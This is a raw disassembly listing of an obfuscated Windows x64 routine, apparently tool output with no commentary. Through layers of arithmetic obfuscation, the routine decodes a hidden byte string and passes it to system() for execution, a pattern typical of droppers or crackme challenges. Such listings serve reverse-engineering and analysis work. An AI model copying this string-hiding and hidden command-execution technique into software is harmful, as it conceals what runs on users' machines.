mov ecx, reloc.WS2_32.dll_listen
movzx edi, bl
movzx eax, r10b
lea edx, [rdi - 0x16]
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400d373b
lea ecx, [rbx - 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xf
cmp r8, 5
jae 0x1400d358f
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400d34ca
lea ecx, [rbx - 0x62]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x52
jmp 0x1400d3183
lea ecx, [rbx + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xd
lea rax, [r9 + r8]
cmp rax, 5
je 0x1400d35b2
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400d3406
lea ecx, [rbx + 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x43
jmp 0x1400d31c1
lea ecx, [rbx + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
lea r11d, [r10 + rcx]
sub r11b, 0x7e
inc rbx
jmp 0x1400d2d12
lea ecx, [rbx - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7c
jmp 0x1400d3637
lea ecx, [rbx + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7a
jmp 0x1400d3611
lea ecx, [rbx - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
jmp 0x1400d36ca
lea ecx, [rbx + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x76
jmp 0x1400d36c7
movzx edi, bl
lea ecx, [rdi - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x74
jmp 0x1400d36a8
lea ecx, [rbx + 0x7e]
dec rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x72
inc rbx
jmp 0x1400d2d12
lea ecx, [rbx + 0x10]
inc r9
movzx eax, cl
dec rbx
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
inc rbx
jmp 0x1400d2d12
movzx edi, bl
lea ecx, [rdi - 0x5e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6e
jmp 0x1400d373b
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400d3366
lea ecx, [rbx + 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x7f
jmp 0x1400d3204
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d3397
lea ecx, [rbx + 6]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
lea r11d, [r10 + rcx]
sub r11b, 0x2a
inc rbx
jmp 0x1400d2d12
inc rax
cmp r8, rax
jne 0x1400d33b9
lea ecx, [rbx + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2c
jmp 0x1400d3637
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d33dc
lea ecx, [rbx - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2e
jmp 0x1400d3611
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d3204
movzx edi, bl
lea ecx, [rdi + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x34
jmp 0x1400d36a8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d342c
movzx edi, bl
lea ecx, [rdi - 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x41
jmp 0x1400d373b
inc rax
cmp r8, rax
jne 0x1400d3457
lea ecx, [rbx - 9]
inc r9
movzx eax, cl
dec rbx
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x3f
inc rbx
jmp 0x1400d2d12
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d3480
lea ecx, [rbx + 0x65]
dec rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x3d
inc rbx
jmp 0x1400d2d12
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d34a3
lea ecx, [rbx + 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x39
jmp 0x1400d36c7
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d31c1
lea ecx, [rbx - 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x37
jmp 0x1400d36ca
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d34fb
lea ecx, [rbx + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
lea r11d, [r10 + rcx]
sub r11b, 0x54
inc rbx
jmp 0x1400d2d12
inc rax
cmp r8, rax
jne 0x1400d351d
lea ecx, [rbx + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x56
jmp 0x1400d3637
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d3540
lea ecx, [rbx - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
jmp 0x1400d3611
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d3564
lea ecx, [rbx - 0x3c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5c
jmp 0x1400d36c7
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d3183
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi + 0x32]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x5e
jmp 0x1400d36a5
movzx r11d, byte [rsp + rbx + 0x40]
movzx edi, bl
movzx eax, r10b
lea edx, [rdi + 0x58]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x68
add r11b, r10b
jmp 0x1400d36a5
lea edx, [rbx - 0x3a]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, byte [rsp + rbx + 0x40]
sub r11b, 0x6a
jmp 0x1400d360e
lea ecx, [rbx + 0x61]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
lea r11d, [rcx + r10]
add r11b, 0x59
inc rbx
jmp 0x1400d2d12
lea edx, [rbx - 0x7b]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
add r11b, 0x5d
add r11b, dl
lea edx, [rbx - 3]
movzx eax, r10b
and al, dl
inc r9
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x15
add cl, dl
movzx eax, cl
mov byte [rsp + rbx + 0x40], al
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x34]
movzx eax, r10b
and al, cl
inc r8
add al, al
sub r10b, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub r10b, 0x6c
add r10b, cl
mov byte [rsp + rbx + 0x40], r10b
add rbx, rax
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d2d12
lea ecx, [rbx - 0x57]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x61
jmp 0x1400d36c7
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi + 0x3b]
and al, dl
add al, al
sub r11b, al
add r11b, 0x63
add r11b, dl
movzx eax, r10b
sub dil, 0x71
and al, dil
add al, al
sub r10b, al
add r10b, 0x17
add r10b, r11b
add r10b, dil
mov byte [rsp + rbx + 0x40], r10b
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d2d12
lea ecx, [rbx - 0x33]
movzx eax, r10b
and al, cl
dec rbx
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x65
inc rbx
jmp 0x1400d2d12
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi - 0xf]
and al, dl
add al, al
sub r11b, al
add r11b, 0x69
jmp 0x1400d3738
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi + 0x15]
and al, dl
add al, al
sub r11b, al
add r11b, 0x6d
add r11b, dl
movzx eax, r10b
add dil, 0x21
and al, dil
add al, al
sub r10b, al
add r10b, 0x19
add r10b, dil
mov byte [rsp + rbx + 0x40], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400d2d12
lea ecx, [rbx + 0x39]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x71
dec rbx
inc rbx
jmp 0x1400d2d12
lea rcx, [rbx + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
add r11b, 0x7d
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d2d12
sub bl, 0x6d
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 5
jmp 0x1400d2d10
add bl, 0x25
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 3
jmp 0x1400d2d00
lea rcx, [rbp + 0x1720434]
jmp 0x1400d37fb
lea rcx, [rbp + 0x436c6b]
jmp 0x1400d37fb
lea rcx, [rsp + 0x40]
call fcn.140040a00
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
movzx r10d, byte [rbp + 0xf0]
xor eax, eax
xorps xmm0, xmm0
mov dword [rbp + 0xa1], eax
movups xmmword [rbp + 0x91], xmm0
mov byte [rbp + 0xa5], al
movabs rsi, 0xa850eff3d2e0701f
mov dword [rbp + 0x80], 0x6f6f6153
movabs r14, 0xead86f9269e3f117
mov dword [rbp + 0x84], 0x61756c1e
movabs r12, 0x9a368faac42310d9
mov dword [rbp + 0x88], 0xd36220de
movabs r15, 0xf8f2cfdb78a1505d
mov dword [rbp + 0x8c], 0x27d46123
mov byte [rbp + 0x90], 0xf6
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [0x1402e0428]
mov rax, qword [0x1402e0430]
nop
xor ebx, ebx
cmp rbx, 0x26
jae 0x1400d441a
movzx r11d, byte [rbp + rbx + 0x80]
mov r8, r11
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400d4411
lea rcx, [rax + 1]
cmp r9, rcx
jae 0x1400d38ee
lea rdx, [rbx + rsi]
movzx ecx, r8b
and cl, dl
movzx r10d, r8b
add cl, cl
sub r10b, cl
add r10b, 0x27
add r10b, dl
jmp 0x1400d3930
je 0x1400d43a7
lea rcx, [rax + 2]
cmp r9, rcx
je 0x1400d431e
lea rcx, [rax + 3]
cmp r9, rcx
je 0x1400d42ee
lea rcx, [rax + 4]
cmp r9, rcx
je 0x1400d42b0
lea rcx, [rax + 8]
cmp r9, rcx
je 0x1400d426b
nop dword [rax + rax]
cmp rax, rbx
ja 0x1400d4408
lea rcx, [rax + 9]
cmp r9, rcx
jae 0x1400d395b
lea r10d, [rbx - 0x75]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
add r10b, 0x33
add r10b, r11b
jmp 0x1400d39a0
lea rcx, [rax + 1]
cmp r9, rcx
je 0x1400d4251
lea rcx, [rax + 2]
cmp r9, rcx
je 0x1400d4231
lea rcx, [rax + 4]
cmp r9, rcx
je 0x1400d4214
lea rcx, [rax + 5]
cmp r9, rcx
je 0x1400d41fa
lea rcx, [rax + 3]
cmp r9, rcx
je 0x1400d41e0
nop dword [rax]
lea rcx, [rax + r9]
cmp rcx, rbx
jbe 0x1400d3f21
nop dword [rax]
lea rcx, [rax + 0x40]
cmp r9, rcx
je 0x1400d3f04
lea rcx, [rax + 0x80]
cmp r9, rcx
je 0x1400d3eda
lea rcx, [rax + 3]
cmp r9, rcx
je 0x1400d3eb3
lea rcx, [rax + 6]
cmp r9, rcx
je 0x1400d3e96
lea rcx, [rax + 0xa]
cmp r9, rcx
je 0x1400d3e79
lea rcx, [rax + 0x61]
cmp r9, rcx
je 0x1400d3e58
lea rcx, [rax + 0x5a]
cmp r9, rcx
je 0x1400d3e3e
lea rcx, [rax + 2]
cmp r9, rcx
je 0x1400d3e24
lea rcx, [rax + 0x42]
cmp r9, rcx
je 0x1400d3df2
lea rcx, [rax + 0x200]
cmp r9, rcx
je 0x1400d39b0
lea r9, [rax + 0x41]
lea rax, [r9 + 0x1000]
lea rcx, [rax + 1]
cmp r9, rcx
jb 0x1400d43ee
lea rcx, [rax + 4]
cmp r9, rcx
jb 0x1400d43d4
lea rcx, [rax + 0x80]
cmp r9, rcx
jb 0x1400d3ba2
lea rcx, [rax + 0x400]
cmp r9, rcx
jb 0x1400d3b86
lea rcx, [rax + 0x7a]
cmp r9, rcx
jb 0x1400d3b6a
lea rcx, [rax + 0xa]
cmp r9, rcx
jb 0x1400d3da8
lea rcx, [rax + 0x28]
cmp r9, rcx
jb 0x1400d3d5e
lea rcx, [rax + 0x64]
cmp r9, rcx
jb 0x1400d3d1a
lea rcx, [rax + 0x3e8]
cmp r9, rcx
jb 0x1400d3cf5
lea rcx, [rax + 5]
cmp r9, rcx
jb 0x1400d39b0
lea r9, [rax + 2]
lea rax, [r9 + 9]
lea rcx, [rax + 0x42]
cmp r9, rcx
ja 0x1400d3cc3
lea rcx, [rax + 0x200]
cmp r9, rcx
ja 0x1400d3ca2
lea rcx, [rax + 0x1000]
cmp r9, rcx
ja 0x1400d3c88
lea rcx, [rax + 8]
cmp r9, rcx
ja 0x1400d3c67
lea rcx, [rax + 0x10]
cmp r9, rcx
ja 0x1400d3c43
lea rcx, [rax + 0x40]
cmp r9, rcx
ja 0x1400d3c26
lea rcx, [rax + 0x2a]
cmp r9, rcx
ja 0x1400d3c06
lea rcx, [rax + 3]
cmp r9, rcx
ja 0x1400d3bdd
lea rcx, [rax + 6]
cmp r9, rcx
ja 0x1400d3bbe
lea rcx, [rax + 0x3e8]
cmp r9, rcx
ja 0x1400d39b0
lea r9, [rax + 0x64]
lea rax, [r9 + 0x61]
jmp 0x1400d39b0
lea r10d, [rbx - 0x2b]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
add r10b, 0x2d
add r10b, r11b
jmp 0x1400d39a0
lea r10d, [rbx - 0x69]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x21
add r10b, r11b
jmp 0x1400d3930
lea r10d, [rbx + 0x59]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x6f
add r10b, r11b
jmp 0x1400d38b5
lea r10d, [rbx + 0x58]
movzx edi, bl
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x68
add r10b, r11b
jmp 0x1400d4283
lea edx, [rbx + 0x1a]
mov r10d, Ordinal_41
movzx ecx, dl
inc rax
and cl, r11b
dec rbx
sub r10b, cl
add r10b, r10b
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400d38a2
lea edx, [rbx - 0x24]
dec rbx
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 4
inc rbx
jmp 0x1400d38a2
lea edx, [rbx - 0x62]
movzx edi, bl
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x52
jmp 0x1400d42c8
lea r8d, [rbx + 0x60]
mov edx, Ordinal_50
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
add r9, rax
jmp 0x1400d4305
lea r8d, [rbx + 0x22]
mov edx, 9
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
jmp 0x1400d4305
lea edx, [rbx - 0x1c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x3c
jmp 0x1400d433a
lea r8d, [rbx - 0x5a]
mov edx, Ordinal_60
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
jmp 0x1400d4360
lea r8d, [rbx + 0x68]
mov edx, reloc.WS2_32.dll_sendto
movzx ecx, r8b
and cl, r11b
sub dl, cl
movzx ecx, byte [rbp + rbx + 0x80]
add rcx, rax
add rbx, rcx
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
inc rbx
jmp 0x1400d38a2
lea edx, [rbx - 0x33]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x65
mov byte [rbp + rbx + 0x80], r10b
inc rbx
jmp 0x1400d38a2
lea edx, [rbx - 0x71]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x17
cmp rax, 0x200
jb 0x1400d3d0a
mov r8d, 5
movzx edi, bl
lea edx, [rdi + 0x5a]
movzx ecx, dl
and cl, r11b
sub r8b, cl
add r8b, r8b
add r8b, dl
add r8b, r11b
lea r10d, [r8 + r8]
jmp 0x1400d4283
lea edx, [rbx + 0x51]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x37
cmp r9, 4
jae 0x1400d4197
lea rcx, [rax + 0x10]
cmp r9, rcx
jbe 0x1400d40b9
lea r8d, [rbx - 0x12]
mov edx, 0x3f
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
jmp 0x1400d3d2f
lea edx, [rbx + 0x13]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x7b
lea rcx, [rax + r9]
cmp rcx, 0x80
je 0x1400d41c2
lea rcx, [rax + 0x7a]
cmp r9, rcx
jbe 0x1400d3ffd
lea edx, [rbx + 0x63]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x4b
jmp 0x1400d3d73
lea r8d, [rbx + 0x42]
mov edx, Ordinal_27
movzx ecx, r8b
and cl, r11b
sub dl, cl
movzx ecx, byte [rbp + rbx + 0x80]
add rcx, rax
add rbx, rcx
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
inc rbx
jmp 0x1400d38a2
lea edx, [rbx + 4]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x1c
jmp 0x1400d4360
lea edx, [rbx - 0x3a]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x6a
jmp 0x1400d433a
lea r8d, [rbx - 0x78]
mov edx, 0x24
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
jmp 0x1400d4305
lea edx, [rbx + 0x4a]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 6
add r9, rax
jmp 0x1400d4305
movzx edi, bl
lea edx, [rdi + 0xc]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x54
jmp 0x1400d42c8
lea r8d, [rbx - 0x32]
mov edx, Ordinal_50
movzx ecx, r8b
dec rbx
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
inc rbx
jmp 0x1400d38a2
lea r8d, [rbx - 0x70]
mov edx, 8
movzx ecx, r8b
inc rax
and cl, r11b
dec rbx
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
inc rbx
jmp 0x1400d38a2
movzx edi, bl
lea edx, [rdi + 0x52]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x3e
jmp 0x1400d4283
lea rcx, [rax + 0x64]
cmp r9, rcx
jae 0x1400d3f44
lea edx, [rbx + 0x1f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x27
jmp 0x1400d3dbd
lea rdx, [rax + 1]
cmp r9, rdx
jne 0x1400d3f7f
lea r8d, [rbx + 0x16]
mov edx, 0x33
movzx ecx, r8b
and cl, r11b
sub dl, cl
movzx ecx, byte [rbp + rbx + 0x80]
add rcx, rax
add rbx, rcx
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
inc rbx
jmp 0x1400d38a2
lea rcx, [rax + 3]
cmp r9, rcx
jne 0x1400d3fa9
lea r8d, [rbx - 0x6e]
mov edx, 1
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
jmp 0x1400d433a
lea rcx, [rdx + 1]
cmp r9, rcx
jne 0x1400d3fd3
lea r8d, [rbx - 0x30]
mov edx, Ordinal_41
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
jmp 0x1400d4305
lea rcx, [rax + 5]
cmp r9, rcx
jne 0x1400d3dbd
movzx edi, bl
lea edx, [rdi + 0x4c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x14
jmp 0x1400d42c8
lea rcx, [rax + 1]
cmp r9, rcx
jne 0x1400d4023
movzx edi, bl
lea edx, [rdi - 0x5f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x67
jmp 0x1400d4283
lea rcx, [rax + 2]
cmp r9, rcx
jne 0x1400d404c
lea edx, [rbx + 0x1d]
dec rbx
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x35
inc rbx
jmp 0x1400d38a2
lea rcx, [rax + 4]
cmp r9, rcx
jne 0x1400d406f
lea edx, [rbx - 0x29]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x1f
jmp 0x1400d4305
lea rcx, [rax + 5]
cmp r9, rcx
jne 0x1400d4092
lea edx, [rbx + 0x15]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x6d
jmp 0x1400d433a
lea rcx, [rax + 3]
cmp r9, rcx
jne 0x1400d3d73
lea edx, [rbx + 0x53]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x45
jmp 0x1400d4360
lea rcx, [rax + 1]
cmp r9, rcx
jne 0x1400d40ed
lea edx, [rbx + 0x2c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + rbx + 0x80]
add rcx, rax
add rbx, rcx
lea r10d, [r11 + rdx]
sub r10b, 0x34
inc rbx
jmp 0x1400d38a2
lea rcx, [rax + 3]
cmp r9, rcx
jne 0x1400d4110
lea edx, [rbx - 0x1a]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x4a
jmp 0x1400d4305
lea rcx, [rax + 2]
cmp r9, rcx
jne 0x1400d413d
mov edx, reloc.WLDAP32.dll_Ordinal_41
movzx edi, bl
lea r8d, [rdi + 0x62]
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
jmp 0x1400d42c8
lea rcx, [rax + 7]
cmp r9, rcx
jne 0x1400d4166
lea edx, [rbx - 0x60]
dec rbx
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x60
inc rbx
jmp 0x1400d38a2
lea rcx, [rax + 4]
cmp r9, rcx
jne 0x1400d3d2f
mov edx, reloc.WLDAP32.dll_Ordinal_30
movzx edi, bl
lea r8d, [rdi + 0x1c]
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
jmp 0x1400d4283
movzx r10d, byte [rbp + rbx + 0x80]
movzx edi, bl
lea r8d, [rdi - 0x68]
movzx ecx, r8b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x28
add r10b, r8b
add r10b, r11b
jmp 0x1400d42c8
lea r8d, [rbx - 0x2a]
mov edx, reloc.WS2_32.dll_send
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
jmp 0x1400d433a
lea edx, [rbx + 0x7b]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x5d
jmp 0x1400d4360
lea edx, [rbx - 1]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 7
jmp 0x1400d4305
lea edx, [rbx - 0x3f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x47
add r9, rax
jmp 0x1400d4305
lea edx, [rbx + 0x45]
dec rbx
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x1d
inc rbx
jmp 0x1400d38a2
movzx edi, bl
lea edx, [rdi - 0x37]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x7f
jmp 0x1400d4283
movzx edi, bl
lea edx, [rdi + 0x4d]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x1b
add dil, 0x79
movzx ecx, dil
and cl, r11b
add cl, cl
sub dil, cl
sub dil, 0x4f
add dil, r11b
mov byte [rbp + rbx + 0x80], dil
inc rax
dec rbx
inc rbx
jmp 0x1400d38a2
movzx edi, bl
lea edx, [rdi - 0x6d]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 5
sub dil, 0x49
movzx ecx, dil
and cl, r11b
add cl, cl
sub dil, cl
dec dil
add dil, r10b
add dil, r11b
mov byte [rbp + rbx + 0x80], dil
add r9, rax
jmp 0x1400d4305
lea rdx, [rbx + r14]
movzx ecx, r8b
and cl, dl
add cl, cl
sub r8b, cl
lea r10d, [rdx + r8]
add r10b, 0x5f
movzx ecx, r10b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x1400d38a2
movzx r11d, r8b
lea rdx, [rbx + r12]
and r8b, dl
movzx r10d, r11b
add r8b, r8b
sub r10b, r8b
add r10b, 0x11
add r10b, dl
lea edx, [rbx - 0xb]
inc rax
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
add dl, 0x4d
add dl, r11b
movzx ecx, dl
mov byte [rbp + rbx + 0x80], cl
add rcx, rax
sub rbx, rcx
lea r8d, [rbx + 0x14]
inc r9
movzx ecx, r8b
mov edx, Ordinal_60
and cl, r11b
sub dl, cl
mov rcx, 0xffffffffffffffff
sub rcx, r9
add dl, dl
add dl, r8b
add dl, r11b
mov byte [rbp + rbx + 0x80], dl
add rbx, rcx
movzx ecx, byte [rbp + rbx + 0x80]
add rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d38a2
lea rdx, [rbx + r15]
movzx ecx, r8b
and cl, dl
add cl, cl
sub r8b, cl
lea r10d, [rdx + r8]
add r10b, 0x75
movzx ecx, byte [rbp + rbx + 0x80]
add rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d38a2
add bl, 0x1b
movzx ecx, bl
and cl, r11b
add cl, cl
sub bl, cl
lea r10d, [r11 + rbx]
add r10b, 0x43
jmp 0x1400d38a0
sub bl, 0x23
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0xb
jmp 0x1400d3890
lea rcx, [rbp + 0x14b5554]
jmp 0x1400d4421
lea rcx, [rbp + 0x16bc573]
jmp 0x1400d4421
lea rcx, [rbp + 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r12, qword [rsp + 0x1b0]
add rsp, 0x1b8
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret